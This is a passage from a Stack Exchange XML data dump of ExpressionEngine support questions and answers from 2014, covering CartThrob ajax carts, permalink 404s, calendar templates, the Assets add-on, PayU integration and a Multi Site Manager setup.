  <row Id="23818" PostTypeId="1" AcceptedAnswerId="24087" CreationDate="2014-06-19T23:10:17.673" Score="2" ViewCount="336" Body="&lt;p&gt;So right now I have a scenario where I want 4 fields to add some products to the cart (these are called Device ID, each one represents one product that needs to go to the cart), so here's the code where I added the add_to_cart_form: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;                &amp;lt;div class=&quot;device&quot;&amp;gt;&#xA;                    {exp:cartthrob:add_to_cart_form entry_id=&quot;device1&quot; price=&quot;9.95&quot; shipping_exempt=&quot;yes&quot;}&#xA;                        &amp;lt;p class=&quot;device-id &quot;&amp;gt;Device ID&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;input class=&quot;deviceInput&quot; type=&quot;text&quot; name=&quot;device1&quot; placeholder=&quot;Device Id&quot; /&amp;gt;&#xA;                    {/exp:cartthrob:add_to_cart_form}&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;device&quot;&amp;gt;&#xA;                    {exp:cartthrob:add_to_cart_form entry_id=&quot;device2&quot; price=&quot;9.95&quot; shipping_exempt=&quot;yes&quot;}&#xA;                        &amp;lt;p class=&quot;device-id &quot;&amp;gt;Device ID&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;input class=&quot;deviceInput&quot; type=&quot;text&quot; name=&quot;device2&quot; placeholder=&quot;Device Id&quot; /&amp;gt;                    &#xA;                    {/exp:cartthrob:add_to_cart_form}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div&amp;gt;&#xA;                &amp;lt;div class=&quot;device&quot;&amp;gt;&#xA;                    {exp:cartthrob:add_to_cart_form entry_id=&quot;device3&quot; price=&quot;9.95&quot; shipping_exempt=&quot;yes&quot;}              &#xA;                        &amp;lt;p class=&quot;device-id &quot;&amp;gt;Device ID&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;input class=&quot;deviceInput&quot; type=&quot;text&quot; name=&quot;device3&quot; placeholder=&quot;Device Id&quot; /&amp;gt;&#xA;                    {/exp:cartthrob:add_to_cart_form}&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;device&quot;&amp;gt;&#xA;                    {exp:cartthrob:add_to_cart_form entry_id=&quot;device4&quot; price=&quot;9.95&quot; shipping_exempt=&quot;yes&quot;}&#xA;                        &amp;lt;p class=&quot;device-id &quot;&amp;gt;Device ID&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;input class=&quot;deviceInput&quot; type=&quot;text&quot; name=&quot;device4&quot; placeholder=&quot;Device Id&quot; /&amp;gt;&#xA;                    {/exp:cartthrob:add_to_cart_form}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, after that, there are two possible cases: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;#1. The user wants to create a new account and add the items to the cart, in this case the items are added correctly and the user only needs to be redirected to the create account form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;#2. The user wants to log in to an existing account, and here's where I'm having problems. The problem is exactly when I'm not logged in and I want to log in, then the items are not added to the cart, the user logs in correctly and is redirected to the right page but the cart has no items on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I'm using to log in: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() { &#xA;        $('form#login-form').ajaxForm(function(arg1, arg2, arg3){&#xA;            $(&quot;#login-error&quot;).hide();&#xA;            var response;&#xA;            try{&#xA;                response = JSON.parse(arg1);&#xA;            }catch(e){&#xA;&#xA;            }&#xA;            if(response != undefined &amp;amp;&amp;amp; response.success == false){&#xA;                $(&quot;#login-error&quot;).show();&#xA;                return false;&#xA;            }else{&#xA;                $(&quot;div.device div input[name=XID]&quot;).val(response.XID); //thing I tried to work with the add, just adds one item&#xA;                submitCartItems();&#xA;                window.location = &quot;/purchase/cart&quot;&#xA;            }&#xA;            return false;&#xA;        }); &#xA;    }); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the code I'm using to submit the items to the cart: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function submitCartItems(){&#xA;        $(&quot;input.deviceInput&quot;).each(function(){&#xA;            if(!$(this).val())&#xA;                return;&#xA;            var form = $(this).closest(&quot;form&quot;); &#xA;            $(form).ajaxForm(cart_form_options);&#xA;            $(form).submit(); &#xA;        });&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see in a comment in the Login function, I used this to try to play a bit with the XID in the hidden inputs for each add_to_cart_form, the thing is it worked but just for one item, doesn't matter if I try to add all 4 items, only 1 gets added to the cart:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;div.device div input[name=XID]&quot;).val(response.XID);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the question is, is there a way to add the items to the cart via ajax request AFTER the login is done, or, is there a guest session/login session involved in the cart managing that's affecting the items being added to the cart?&lt;/p&gt;&#xA;" OwnerUserId="3257" LastEditorUserId="3258" LastEditDate="2014-06-20T15:01:29.223" LastActivityDate="2014-07-01T02:20:39.093" Title="How to add items to cart (with cartthrob) via ajax after an ajax login?" Tags="|cartthrob|login|jquery|ajax|shopping-cart|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23819" PostTypeId="1" CreationDate="2014-06-20T00:16:46.427" Score="1" ViewCount="38" Body="&lt;p&gt;I am using the &lt;a href=&quot;http://devot-ee.com/add-ons/rest&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Rest plugin&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us say that my API outputs a JSON like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;8741&quot; : &quot;some data 1 ...&quot;,&#xA;  &quot;27848&quot; : &quot;some data 2 ...&quot;,&#xA;  ...&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to access the data via its index. I will know what the index is at runtime.&#xA;So how do I access the data?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rest ...}&#xA; {8741}  &amp;lt;-- can't define this literally since the index is going to be set at runtime&#xA;{/exp:rest} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="636" LastEditorUserId="28" LastEditDate="2014-06-20T15:49:34.667" LastActivityDate="2014-06-20T15:49:34.667" Title="{exp:rest} - Dynamically access keys" Tags="|rest|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23820" PostTypeId="1" AcceptedAnswerId="23930" CreationDate="2014-06-20T01:17:57.347" Score="1" ViewCount="524" Body="&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When first posting this, I didn't understand the problem. When I removed the index.php from the urls with a .htaccess file (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&lt;/a&gt;), all the templates other than the homepage all gave 404s. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ORIGINAL POST&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've create a list of the channel entries, but when you click on a link it sends you to the url example.com/title-permalink= and throws up a 404. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to visit the single entry pages by manually putting in the url but it doesn't work either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the simple code on the index page. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;   {exp:channel:entries channel=&quot;essays&quot;}&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;title-permalink=&quot;site/essay&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;   {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the single entry page.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;essays&quot;}&#xA;   &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;   {body}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't had this problem before. It seems like it must be really simple. What am I missing? Something in the settings? &lt;/p&gt;&#xA;" OwnerUserId="3177" LastEditorUserId="3177" LastEditDate="2014-06-25T16:14:54.227" LastActivityDate="2014-06-25T16:14:54.227" Title="After removing index.php from URLs, 404s on every template except homepage" Tags="|url|htaccess|404|links|index|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23821" PostTypeId="2" ParentId="23820" CreationDate="2014-06-20T01:24:25.627" Score="3" Body="&lt;p&gt;You are missing the opening &lt;code&gt;{&lt;/code&gt; on the &lt;code&gt;href&lt;/code&gt;'s tag, and &lt;code&gt;{title_permalink}&lt;/code&gt; has an underscore &lt;code&gt;_&lt;/code&gt; not a dash.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{title_permalink=&quot;site/essay&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#disable&quot; rel=&quot;nofollow&quot;&gt;EE Docs on Permalinks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1810" LastActivityDate="2014-06-20T01:24:25.627" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23822" PostTypeId="2" ParentId="23815" CreationDate="2014-06-20T01:27:50.640" Score="0" Body="&lt;p&gt;Perhaps the site has been compromised? Do you have access to the site's SuperUser login?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be tweaking the database with PHPMyAdmin. Try resetting the SuperUser member, or try tinkering with the system's settings in the DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely the 'guest' member group is now 'now allowed to see the site when it is offline', and all other groups are unable to access the control panel?&lt;/p&gt;&#xA;" OwnerUserId="1810" LastActivityDate="2014-06-20T01:27:50.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23823" PostTypeId="2" ParentId="23792" CreationDate="2014-06-20T01:38:51.553" Score="0" Body="&lt;p&gt;I used the following in my Calendar widget:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{calendar_heading}&#xA;   &amp;lt;td class=&quot;calendarDayHeading&quot;&amp;gt;{lang:weekday_short}&amp;lt;/td&amp;gt;&#xA;{/calendar_heading}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Within my entire calendar widget...:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:calendar switch=&quot;calendarToday|calendarCell&quot; channel=&quot;events&quot; show_future_entries=&quot;yes&quot;}&#xA;  &amp;lt;table class=&quot;calendarBG events-calendar&quot; border=&quot;0&quot; cellpadding=&quot;6&quot; cellspacing=&quot;1&quot; summary=&quot;My Calendar&quot;&amp;gt;&#xA;      &amp;lt;tr class=&quot;calendarHeader&quot;&amp;gt;&#xA;        &amp;lt;th&amp;gt;&#xA;            &amp;lt;div class=&quot;calendarMonthLinks&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;{previous_path='events/index'}&quot;&amp;gt;&amp;amp;lt;&amp;amp;lt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/th&amp;gt;&#xA;        &amp;lt;th colspan=&quot;5&quot; class=&quot;calendarMonthTitle&quot;&amp;gt;&amp;lt;a href=&quot;/events/{date format=&quot;%Y/%m&quot;}&quot;&amp;gt;{date format=&quot;%F %Y&quot;}&amp;lt;/a&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;&#xA;            &amp;lt;div class=&quot;calendarMonthLinks&quot;&amp;gt;&#xA;                &amp;lt;a class=&quot;calendarMonthLinks&quot; href=&quot;{next_path='events/index'}&quot;&amp;gt;&amp;amp;gt;&amp;amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/th&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;      &amp;lt;tr&amp;gt;&#xA;      {calendar_heading}&#xA;      &amp;lt;td class=&quot;calendarDayHeading&quot;&amp;gt;{lang:weekday_short}&amp;lt;/td&amp;gt;&#xA;      {/calendar_heading}&#xA;      &amp;lt;/tr&amp;gt;&#xA;      {calendar_rows}&#xA;          {row_start}&amp;lt;tr&amp;gt;{/row_start}&#xA;          {if entries}&#xA;              &amp;lt;td class='{switch}' align='center'&amp;gt;&amp;lt;a href=&quot;{day_path='events/index'}&quot;&amp;gt;{day_number}&amp;lt;/a&amp;gt;&#xA;              &amp;lt;/td&amp;gt;&#xA;          {/if}&#xA;          {if not_entries}&#xA;              &amp;lt;td class='{switch}' align='center'&amp;gt;{day_number}&amp;lt;/td&amp;gt;&#xA;          {/if}&#xA;          {if blank}&#xA;              &amp;lt;td class='calendarBlank'&amp;gt;{day_number}&amp;lt;/td&amp;gt;&#xA;          {/if}&#xA;          {row_end}&amp;lt;/tr&amp;gt;{/row_end}&#xA;      {/calendar_rows}&#xA;    &amp;lt;/table&amp;gt;&#xA;{/exp:channel:calendar}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1810" LastActivityDate="2014-06-20T01:38:51.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23824" PostTypeId="2" ParentId="23809" CreationDate="2014-06-20T01:58:32.127" Score="0" Body="&lt;p&gt;Yes that's entirely possible. You can execute any &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/php.html&quot; rel=&quot;nofollow&quot;&gt;PHP within your template&lt;/a&gt;, or create a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;custom extension&lt;/a&gt; to manipulate data for you.&lt;/p&gt;&#xA;" OwnerUserId="1810" LastActivityDate="2014-06-20T01:58:32.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23825" PostTypeId="1" CreationDate="2014-06-20T02:37:36.267" Score="0" ViewCount="25" Body="&lt;p&gt;I guess that technically I am not moving to a new server, but rather a new installation to create a dev environment to work on before pushing to prod site. I have followed instructions here several times starting fresh each time:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/operations/moving.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ellislab.com/expressionengine/user-guide/operations/moving.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that after moving the files and importing db to new install I am unable to log-in to the control panel. If I type in the wrong credentials, I get the &quot;wrong username/password&quot; error--which i don't get if i use the right credentials, but the right credentials just won't log me in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;double/triple checked the cp url in config.php/database.php&lt;/li&gt;&#xA;&lt;li&gt;made sure permissions were set per instructions in the link above&lt;/li&gt;&#xA;&lt;li&gt;cleared browser cookies/cache&lt;/li&gt;&#xA;&lt;li&gt;even have had friends check from their computer (computer that had never visited the site before)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Still no solution. I found this question-- which seems to be what I am experiencing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5303/moved-ee1-7-1-site-to-new-server-and-cant-log-into-cp&quot;&gt;Moved EE1.7.1 site to new server and can&amp;#39;t log into CP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This did has not solved my issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could I be missing?&lt;/p&gt;&#xA;" OwnerUserId="3259" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-06-20T02:37:36.267" Title="Moved EE 2.8.1 to new server cannot log-in" Tags="|control-panel|cookies|" AnswerCount="0" CommentCount="5" ClosedDate="2014-06-20T15:22:50.777" ContentLicense="CC BY-SA 3.0" />
  <row Id="23826" PostTypeId="2" ParentId="13028" CreationDate="2014-06-20T04:35:02.317" Score="1" Body="&lt;p&gt;I believe I had the same problem when I tried using a relationship field relating to the same channel. When I included status=&quot;not closed&quot; within the relationship field call as well, it finally worked for me! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&#xA;&lt;code&gt;&#xA;{exp:channel:entries entry_id=&quot;133&quot; channel=&quot;channel_name&quot; status=&quot;not closed&quot;}&#xA;  {relationship_field status=&quot;not closed&quot;}&#xA;    Assigned Student: {relationship_field:title}&#xA;  {/relationship_field}&#xA;  {parents field=&quot;relationship_field&quot; status=&quot;not closed&quot;}&#xA;    Assigned Coach: {parents:title}&#xA;  {/parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure to change out relationship_field with the name of your custom field.&lt;/p&gt;&#xA;" OwnerUserId="2223" LastActivityDate="2014-06-20T04:35:02.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23827" PostTypeId="2" ParentId="23820" CreationDate="2014-06-20T04:55:05.480" Score="0" Body="&lt;p&gt;On single entry pages that aren't throwing 404's EE is falling back to the template group's index.html page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this to the top of your detail page template. Adjust the segment to a number AFTER your URL Title displays:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 != &quot;&quot;}&#xA;  {redirect=&quot;404&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And on single entry pages you should do this to trigger 404's when EE can't find an entry so that it does not fallback to the index.html template in the template group. Adjust the segment to your URL Title segment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel=&quot;ch_blog&quot;&#xA;  limit=&quot;1&quot;&#xA;  require_entry=&quot;yes&quot;&#xA;  url_title=&quot;{segment_2}&quot;&#xA;  status=&quot;open&quot;&#xA;  disable=&quot;{gv_param_disable_default}&quot;&#xA;  dynamic=&quot;no&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, add these to your .htaccess file (where /index.php/site/404 points to your 404 template):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ErrorDocument 404 /index.php/site/404&#xA;&#xA;&amp;lt;FilesMatch &quot;(\.jpe?g|gif|png|bmp|css|js|flv)$&quot;&amp;gt;&#xA;  ErrorDocument 404 &quot;File Not Found&quot;&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should do it!&lt;/p&gt;&#xA;" OwnerUserId="219" LastActivityDate="2014-06-20T04:55:05.480" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23828" PostTypeId="2" ParentId="23815" CreationDate="2014-06-20T10:10:17.103" Score="0" Body="&lt;p&gt;Can you see in the DB, table exp_members, if everything is OK, your email address and username for example. It could give you an idea if someone has messed your DB and your login info.&lt;/p&gt;&#xA;" OwnerUserId="482" LastEditorUserId="28" LastEditDate="2014-06-20T15:52:55.280" LastActivityDate="2014-06-20T15:52:55.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23829" PostTypeId="1" AcceptedAnswerId="23875" CreationDate="2014-06-20T10:26:46.003" Score="0" ViewCount="89" Body="&lt;p&gt;I have just installed Assets. But it keeps logging me out of the CP. This error occurs (console): POST &lt;a href=&quot;http://centiv.local/admin/&quot; rel=&quot;nofollow&quot;&gt;http://centiv.local/admin/&lt;/a&gt; 500 (Internal Server Error) It contains: {&quot;error&quot;:&quot;&lt;p&gt;This form has expired. Please refresh and try again.&amp;lt;/p&gt;&quot;} &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens when I:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Visit Modules -&gt; Assets. &lt;/li&gt;&#xA;&lt;li&gt;Try to upload a file in a Assets field.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have added this to my config file: $config['disable_csrf_protection'] = &quot;y&quot;; This doesn't give an error but a blank page when I try to access assets from the field in a channel, it say's I'm logged out of the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what's going on here, any help would me much appreciated! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets: 2.3.2&#xA;ExpressionEngine: 2.8.1 &lt;/p&gt;&#xA;" OwnerUserId="2146" LastEditorUserId="2146" LastEditDate="2014-06-23T07:11:58.410" LastActivityDate="2014-06-23T07:32:36.710" Title="Assets: Log's me out of the cp" Tags="|assets|pixelandtonic|control-panel|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23830" PostTypeId="2" ParentId="23773" CreationDate="2014-06-20T10:39:05.397" Score="1" Body="&lt;p&gt;Turns out all I needed to do was run Structure Debugging on it. I didn't know this existed but it fixed my problem.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://buildwithstructure.com/documentation/debug_mode_for_page_data/&quot; rel=&quot;nofollow&quot;&gt;http://buildwithstructure.com/documentation/debug_mode_for_page_data/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Simply change the debug option to &lt;strong&gt;TRUE&lt;/strong&gt; in the MCP file, run the debugging. This removed my entries from Structure, but they were still in &lt;strong&gt;Publish &gt; Edit&lt;/strong&gt;, so I just added a &lt;strong&gt;Structure URL Title&lt;/strong&gt; to each entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Boom, done.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2014-06-20T10:39:05.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23831" PostTypeId="1" CreationDate="2014-06-20T13:02:30.947" Score="0" ViewCount="1484" Body="&lt;p&gt;I have a list of images in 4 different categories that I want to display on a search results page. My logic is that the pictures are to be displayed under 2 conditions,&#xA;1 - it is in its respective category id, 2 - there are actually entries that have that category. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{category_id}&quot; == &quot;1&quot; &amp;amp;&amp;amp;  count &amp;gt;= &quot;1&quot;}&#xA;Image group 1 &#xA;{/if}&#xA;{if &quot;{category_id}&quot; == &quot;2&quot; &amp;amp;&amp;amp;  count &amp;gt;= &quot;1&quot;}&#xA;Image group 2 &#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is not working,I think I'm messing up the syntax. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some more code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;product&quot; category_group=&quot;1&quot; style=&quot;linear&quot;   parent_only=&quot;yes&quot; show=&quot;{embed:prod_cat}&quot; show_empty=&quot;no&quot;}&#xA;{if count == '1'}&#xA;&amp;lt;ul class=&quot;tabs-nav clearfix&quot;&amp;gt;&#xA;{/if} &#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;#tab_{category_url_title}&quot;&amp;gt;{category_name} Product&amp;lt;span class=&quot;indicator&quot;&amp;gt;        &amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;    &amp;lt;li class=&quot;logo-strip&quot;&amp;gt;&#xA;        {!-- v neck tees --}&#xA;        {if &quot;{category_id}&quot; == &quot;1&quot;}&#xA;        &amp;lt;!-- Nike --&amp;gt;&#xA;        &amp;lt;img src=&quot;/images/logos/nike.jpg&quot; class=&quot;float-left&quot;&amp;gt;&#xA;        &amp;lt;!-- Adidas --&amp;gt;&#xA;        &amp;lt;img src=&quot;/images/logos/adidas.jpg&quot; class=&quot;float-left&quot;&amp;gt; &#xA;        &amp;lt;!-- Cat --&amp;gt;&#xA;        &amp;lt;img src=&quot;/images/logos/cat.jpg&quot; class=&quot;float-left&quot;&amp;gt; &#xA;        {/if}&#xA;&#xA;        {!-- long sleeve tees --}&#xA;        {if &quot;{category_id}&quot; == &quot;2&quot;} &#xA;        &amp;lt;!-- Puma --&amp;gt;&#xA;        &amp;lt;img src=&quot;/images/logos/cat.jpg&quot; class=&quot;float-left&quot;&amp;gt; &#xA;        &amp;lt;!-- Lacoste --&amp;gt;&#xA;         &amp;lt;img src=&quot;/images/logos/lacoste.jpg&quot; class=&quot;float-left cat_2&quot;&amp;gt;&#xA;        {/if}&#xA;&#xA;    &amp;lt;/li&amp;gt;  &#xA;&#xA;    {if count == total_results}&#xA;&amp;lt;/ul&amp;gt;&amp;lt;!-- end nav --&amp;gt;&#xA;{/if}&#xA;{/exp:channel:categories} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2865" LastEditorUserId="2865" LastEditDate="2014-06-20T14:49:11.843" LastActivityDate="2016-01-17T22:49:45.210" Title="If category id = x AND if there is an entry then display" Tags="|conditionals|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23832" PostTypeId="1" AcceptedAnswerId="23835" CreationDate="2014-06-20T13:09:16.697" Score="1" ViewCount="87" Body="&lt;p&gt;I am busy integrating PayU payment gateway with an EE2 website and need to have payu integration on-site rather than off-page, but the client needs the customer to also pay with Discovery Miles, would there be a way to integrate Discovery Miles with the on-site integration of PayU?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the Enterprise API for PayU and using Expresso-Store.&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-23T06:41:04.307" Title="Integrating Discovery Miles With PayU" Tags="|expresso-store|ee2|payment-gateway|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23834" PostTypeId="1" CreationDate="2014-06-18T16:17:36.370" Score="0" ViewCount="126" Body="&lt;p&gt;Our main question is how do we configure Expression Engine to handle 2 main site and 5 subdomains using Multi Site Manager (MSM), keeping in mind that the development version of the main site (ee28.sode.org) is currently running as a subdomain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We currently have three sites running on two different versions of Expression Engine on Nexcess eep-100 hosting plan. These three sites have three respective folders on the server. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;1. &lt;em&gt;www.sode.org&lt;/em&gt;&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE1&lt;/li&gt;&#xA;&lt;li&gt;set up as the master domain for which Nexcess creates a directory&#xA;at the root level of the account&lt;/li&gt;&#xA;&lt;li&gt;This site is live&lt;/li&gt;&#xA;&lt;li&gt;This site will become members.sode.org running on EE1 so we don't have to recreate&#xA;the membership portal&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;2. &lt;em&gt;www.plungede.org&lt;/em&gt;&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE2.8 (base EE install for Multi Site Manager MSM)&lt;/li&gt;&#xA;&lt;li&gt;set up as a secondary domain for which Nexcess creates a directory at the root level of the account&lt;/li&gt;&#xA;&lt;li&gt;This site is live&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;3. &lt;em&gt;ee28.sode.org&lt;/em&gt;&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE2.8  (added with MSM to the plungede.org install. Shares system folder w/ plunge and and templates are inside  plungede.org folder on server&lt;/li&gt;&#xA;&lt;li&gt;Set up as secondary domain for which Nexcess creates a directory at the root level of the account&lt;/li&gt;&#xA;&lt;li&gt;This site is in development site&lt;/li&gt;&#xA;&lt;li&gt;This will become www.sode.org&lt;/li&gt;&#xA;&lt;li&gt;This will hold the 5 microsites (subdomains). &#xA;&lt;ul&gt;&#xA;&lt;li&gt;They are each set up as a subdomain and Nexcess creates a directory for each inside the secondary domain directory of sode.org on the server. &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is it possible  to configure Expression Engine to handle 2 main site and 5 subdomains, keeping in mind that the development version of the main site (ee28.sode.org) is currently running as a subdomain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please feel free to ask questions for clarification as we are a little confused ourselves! &lt;/p&gt;&#xA;" OwnerUserId="646" OwnerDisplayName="hfrancke" LastActivityDate="2014-06-21T18:26:51.047" Title="Expression Engine MSM 